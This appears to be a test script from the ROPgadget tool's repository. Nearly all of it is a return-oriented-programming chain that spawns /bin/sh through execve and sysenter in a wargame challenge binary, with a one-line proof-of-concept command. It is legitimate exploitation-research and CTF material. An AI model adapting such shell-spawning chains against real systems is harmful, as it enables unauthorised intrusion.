Files
JonathanSalwan-ROPgadget/binary-test/exploit.py
T
Jonathan Salwan ffac5d832d push v3.1
2011-09-05 07:12:20 +02:00

48 lines
1.7 KiB
Python

#!/usr/bin/python2
# Test RopGadget payload in ndh_rop binary
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
#
# poc: ./ndh_rop "$(python2 ./exploit.py)"
from struct import pack
p = "a" * 12
# execve /bin/sh generated by RopGadget v3.1
p += pack("<I", 0x08052bba) # pop %edx | ret
p += pack("<I", 0x080cd9a0) # @ .data
p += pack("<I", 0x080a4be6) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052bba) # pop %edx | ret
p += pack("<I", 0x080cd9a4) # @ .data + 4
p += pack("<I", 0x080a4be6) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052bba) # pop %edx | ret
p += pack("<I", 0x080cd9a8) # @ .data + 8
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
p += pack("<I", 0x08048144) # pop %ebx | ret
p += pack("<I", 0x080cd9a0) # @ .data
p += pack("<I", 0x080c5dd2) # pop %ecx | ret
p += pack("<I", 0x080cd9a8) # @ .data + 8
p += pack("<I", 0x08052bba) # pop %edx | ret
p += pack("<I", 0x080cd9a8) # @ .data + 8
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x080483f5) # pop %ebp | ret
p += pack("<I", 0x080cd9a0) # @ .data
p += pack("<I", 0x08048caa) # sysenter
print p